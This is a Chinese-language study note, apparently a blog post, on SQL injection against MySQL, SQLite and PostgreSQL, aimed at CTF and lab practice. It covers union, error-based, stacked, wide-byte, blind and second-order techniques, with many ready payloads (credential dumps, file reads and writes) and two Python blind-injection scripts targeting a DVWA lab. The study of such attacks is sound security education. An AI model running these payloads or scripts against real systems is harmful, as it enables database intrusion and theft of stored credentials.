02-WEB-SQL注入
SQL注入
sql注入的类型(按回显方式划分)
有回显
 联合查询:构造联合查询语句,直接查看查询结果
 报错注入:构造报错语句,在报错中查看
 堆查询:多行语句执行,进而实现想要到达的目的
无回显
 盲注:布尔型/时间型 通过某种手段爆破结果
1.联合查询注入
 在原始SQL查询中注入union等操作符,将其他语句附加到原始查询之后。如:应用程序拼接sql、闭合原有语句、注入union操作符、注释后续内容等。
联合注入的一般步骤为:
1判断注入点及注入类型(数字型or字符型)
 找到存在sql注入漏洞的输入点,确定注入点在sql查询的上下文环境:被当做数字or被引号包裹的字符串使用
 mysql在查询某一个字符串的时候,遇到第一个符号就会停止搜索,只会取第一个符号之前的内容,并且正常显示,如果查询条件为数字,那么遇到符号就会报错了
 如果我们在确定这是字符型注入的时候,使用双引号如果引发了报错,说明就是双引号的字符型
 如:1' or 1=1 #,若只有一个,则为双引号字符型,若有很多个,则是单引号字符型,若没有,则为数字型
2判断字段数
 确定原始查询select语句返回多少列数据,因为union select必须要返回相同数量的列
 如:1' order by n,n从1开始取,n++,直到报错,则有n-1列。利用order by n对第n列进行排序的原理。
3判断回显位
 确定原始查询结果在web页面中的那个位置显示出来,之后在对应位置写pyload
 如:1' union select 1,2 # 观察1,2那个进行了输出,字段数是n,就select 1...n
4确定数据库名,表名,字段名
 获取当前正在使用的数据库名、表名、字段名
 如:获取数据库名 1' union select 1,database() #
 获取表名 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ,group_concat()将内容由列转为行,作为一个进行输出,nformation_schema是信息数据库,保存着数据库名、数据库的表等,本质上是一个视图,不是基本表
 获取字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='所要查询的表'
5查询数据
 如:1' or 1=1 union select group_concat(列1,列2) from users #
当group_concat()被过滤时,可以使用limit,如:select * from a limit n,m,n为在那一行开始显示(起始行为第0行),m为显示多少行
2.文件操作、堆叠注入、宽字节注入
sql文件操作:
 show vatiables (like "a%") 查看系统变量
 secure_file_priv变量:null为不允许导入导出,/temp/只能导入导出此文件夹下的,没有值时表示没有对导入导出做限制
 select load_file('/文件目录') 读文件
 select ''内容' into outfile/dumpfile "路径/1.php" 写文件
堆叠注入:
 ";"为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他语句,如rename、drop等。堆叠注入可以执行任何sql语句
 条件:$mysqli->multi_query($sql); web程序和后端支持多条语句时
宽字节注入:
 宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,从而可以通过宽字节编码绕过sql注入防御
 一个gbk编码汉字占2字节,一个utf-8编码汉字占3字节
 出现 $conn->query("set names 'gbk';");
例:用户输入 admin%df' or 1=1#
 转义后 admin%df\' or 1=1#
 set character_set_client ='gbk'后 'admin呁'or 1=1#
 执行语句 ...where username='admin呁' or 1=1 #'
select绕过:
hander语句,一行一行的浏览表中的数据
 例:handler AAA open as BBB
 handler BBB read first
 handler BBB read next
 handler BBB close
rename语句
	例:alter table 旧表名 rename to 新表名;
		alter table 表名 change 旧列名 新列名 数据类型;#
prepaer语句
 例:1';prepare st form concat('s','elect','* from ...');excute st;#
3.布尔盲注
布尔盲注是利用返回查询是否成功,不断尝试爆破出结果来。两大基本问题:字符串的截取,比较
如:
 123' or substr(select database(),i,1)='x'# i从1不断取值,x为任意字符
字符串截取
1.substr()、substring()
 substr(str,pos,len) 截取str从pos位置开始,len个字符
2.right() ord() 同名函数
 right(str,len) 截取str的倒数len位
 能用ascii码时尽量用ascii码,ascill('str')返回字符串的第一个字符的ascii码
 select ascii(right('xxx',2))
 left即正数前len位,select ascii(reverse(left('xxxx',3)))
3.trim()
 trim()函数用于过滤制定的字符串,如移除收尾的空白
 trim() 删除前后空格
 rtrim() 删除字符串结尾空格
 ltrim() 删除字符串起始空格
 trim(both/leading/trailing 目标字符串 from 源字符串)
 利用:trim(leading from 'str') = trim(leading <i+1> from 'str')
 其中i为任意字符,i+1则为下一字符,通过相等判断,若相同则i和i+1不是首 字符,若不相同,则让i+1和i+2进行比较,若相同则i为首字符,不同则i+1为 首字符
4.insert()
 insert(字符串,起始位置,长度,替换字符) 起始位置为1
 利用:
 insert((insert(str,1,i,'')),2,99999,'') 可以取到第i+1(i从0开始取)位的单 个字符
比较
1.等于
 substr(database(),1,1) = 'a'
2.大于小于
 substr(database(),1,1) >'a'
3.like
 如果不使用%来表示任意字符,则like子句和=的效果是相同的
4.regexp/rlike正则表达式
 select binary database() regexp/rlike "^ctf" binary是用来限制区分大小写
 用来返回database()是不是以'ctf'为开头的字符串
5.between
 select 'a' between 'x' and 'y' 返回'a'是否在x、y之间
6.in
 select 'a' in ('xxxxx','yyyyyy') in不区分大小写 可以加上 binary
7.and、&&、&
 and、&&逻辑与运算符 &按位与运算
 1 and ascii(substr(database(),1,1))-i
 循环减i来判断,当值为false时,字符即为chr(i)
8.or、||、|
 or、||等价 |按位与运算
 0 or ascii(substr(database(),1,1))-i
9.异或
 xor 逻辑异或 ^按位异或
 用来解决无法使用注释符(#、‘-- ’)的情况下
 where id = '1'(substr(database(),1,1)='a')'1'
bool盲注脚本-对应dvwa low
import requests
import string
url="http://192.168.188.55/vulnerabilities/sqli_blind/?id="
cookies={
    "PHPSESSID": "rdf2qffik499tn70em0s0ps645",
    "security": "low"
}
select ="select+database()" #dvwa
select ="select+group_concat(table_name)+from+information_schema.tables where table_schema=database()"
#guestbook
select ="select+group_concat(column_name)+from+information_schema.columns where table_name='guestbook'"
#comment_id
select ="select+group_concat(comment_id)+from+guestbook"
#1
result =""
for i in range(1,100):
    for ch in string.ascii_letters+string.digits+".:}{_":
        payload=f"123'+or+substr(({select}),{i},1)='{ch}'%23&Submit=Submit#"
        r=requests.get(url+payload,cookies=cookies)
        #print(url+payload)
        if "exists" in r.text:
            result+=ch
            print(result)
            break
        if ch=='_':
            exit(0)
4.报错盲注
利用可控的错误sql语句会回显到页面,来进一步判断爆破的对错
报错的sql语句:exp(1000)、cot(0)...
利用:exp(709)为真,exp(710)为假,exp(709+(判断语句))
 if((判断语句),exp(1000),0)
5.时间盲注
没有任何回显,只能依据sleep时间来判断正确与否
利用if或case,若过滤,可以sleep(10*(判断语句))
当sleep被过滤掉时,可以使用benchmark()函数,可以重复执行某种操作
benchmark(10000000,sha1('flag'))
count(*) from information_schema.columns A,information_schema.columns B;
import requests 
url="http://192.168.188.55/vulnerabilities/sqli_blind/?id="
cookies={
"PHPSESSID": "h5vsi89hr1vn1v73hedt05rof5",
"security": "low"
}
result=""
for i in range(1,100):
    for j in range(33,128):
        select=f"ascii(substr((select+database()),{i},1))={j}"
        payload=f"1'+and+sleep(10*({select}))%23&Submit=Submit#"
        #print(url+payload)
        try:
            r=requests.get(url+payload,cookies=cookies,timeout=3)
        except:
            result+=chr(j) 
            print(result)
            break
        if j==127:
            exit(0)
6.报错注入
利用数据库的某些机制,人为的制造错误条件,使查询结果能出现在错误信息中
利用updatexml()函数参数的格式不对进行报错显示,updatexml(XML_document, XPath_string,new_value);通常在第二个参数填写所要查询的内容
例:updatexml(1,concat(0x7e,(搜查语句),0x7e),1),前后添加~使其不符合xpath格式而报错,若回显长度不够,可以用字符串分割,updatexml(1,concat(0x7e,(substr((搜查语句),30)),0x7e),1)
extractvalue()函数,没有第三个参数,其余和updatexml用法相同
uuid()函数,select uuid_to_bin((查询语句)) select bin_to_uuid((查询语句))
gtid()函数,') OR gtid_subset(concat(0x7e, (SELECT GROUP_CONCAT(user, ':', password) FROM manage), 0x7e), 1)
7.二次注入
payload会先被服务器存储在数据库中,在之后取出数据库再进行sql语句拼接是产生的sql注入问题
addslashes()函数,在单引号(')、双引号(")、反斜杠(\)和 NULL前添加反斜杠。当存储经addslashes()转义后的字符串时,没有反斜杠
8.约束攻击
SQL中执行字符串处理时,字符串末尾的空格符将会被删除
SQL都会根据varchar(n)来限制字符串的最大长度,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。
insert语句:截取前20个字符 select语句;输入什么就是什么
9.无列名盲注
过滤in、or时,information_schema库就无法使用了,引入了sys库,但用起来会不全
查询所有的库
select table_schema from sys.schema_table_statistics group by table_schema;
select table_schema from sys.x$schema_flattened_keys group by table_schema;
查询指定库的表(若无则说明此表从未被访问)
select table_name from sys.schema_table_statistics where table_schema='库名' group by table_name;
select table_name from sys.x$schema_flattened_keys where table_schema='库名' group by table_name;
mysql库
select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where
database_name=database();
union重命名发
select a.2 from(select 1,2,3 union select * from users)a;
比较法
select(select '123','A','')<(select * from student limit 1) ~的ascii为126
10.SQLITE
SQlite是一个轻量化的数据库,不以分号; 结束。大部分语句相同,但也有些不同:
like子句
 通配符:%代表零个、一个或多个数字或字符,_代表单一数字或字符
glob子句
 对大小写敏感,*任意字符,?单一字符
注释符
 两种 /**/ ,-- 可以用于判断数据库类型,#不生效则不是mysql
查表名
 sqlite_master表 存放着数据库中所有的表名 select * from sqlite_master
查列名
select sql from sqlite_master where type!='meta' and sql not null and name='表名'
字符串截取
 substr() 、substring() 、like 、= 、> 、< 、in 、between和mysql差不多
 trim(字符串,要移除的字符) 默认为空格
 printf('%.ns','xxxxx') 截取n位
比较
 glob运算符,用法和like、=相同
条件
 case when X then Y else Z end 和mysql相同
 还可写作iff(x,y,z)
构造报错
 randomblob(N) 返回N-byte blob randomblob(1000000000*(1=2))
时间盲注
 select 123=like('abcdefg',upper(hex(randomblob([秒]00000000/2))))
mysql 8.0特性
 select * from 'user'; = table 'user';
 values row(1,2,3) 列出一行的值
11.PostgreSQL
是一个免费的对象-关系数据库,不是轻量化的,与mysql的区别:
|| ||表示字符串拼接,而在mysql中为逻辑或运算(or)
escape 定义转义符,select * from test where varchar like 'b_a%' escape 'b';
 _表示任意一个字符,%表示任意字符(0、1、多),默认/为转义符
注释符 --为注释符,exp(999999)构造报错,可判断为postgreSQL,或延时盲 注,利用pg_sleep()
聚合函数 array_agg()变为数组 string_agg()变为字符串,无group_concat()函 数。string_agg(内容,间隔符)
延时 pg_sleep(5),延时5秒,返回为void,不是bool类型
 select 1=(case when(1=1) then (select 1 from pg_sleep(3)) else 0 end); 或pg_sleep(5)||'b'
hatenum盲注题解
1.对于直接过滤 ' ,有唯一一种解决方案(前提是where子句有两个字符注入)
select * from users where username='username' and password='password'
 使用\进行转义,如
...where username='\' and password =' and 1=1 #'
 同样无法使用字符串,解决方法:char 0x+十六进制
2.大数绕过
 使用十六进制时存在非常大的数,但题目存在大数判断
 hex(字符/数字) 将参数转为16进制
 unhex(16进制) 将参数转为字符串
 利用十进制的科学计数法进行缩短长度
3.报错注入
where username='\' and password = ' or username='admin' && case({condition})when(0)then(cot(0))else(1)end#'
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号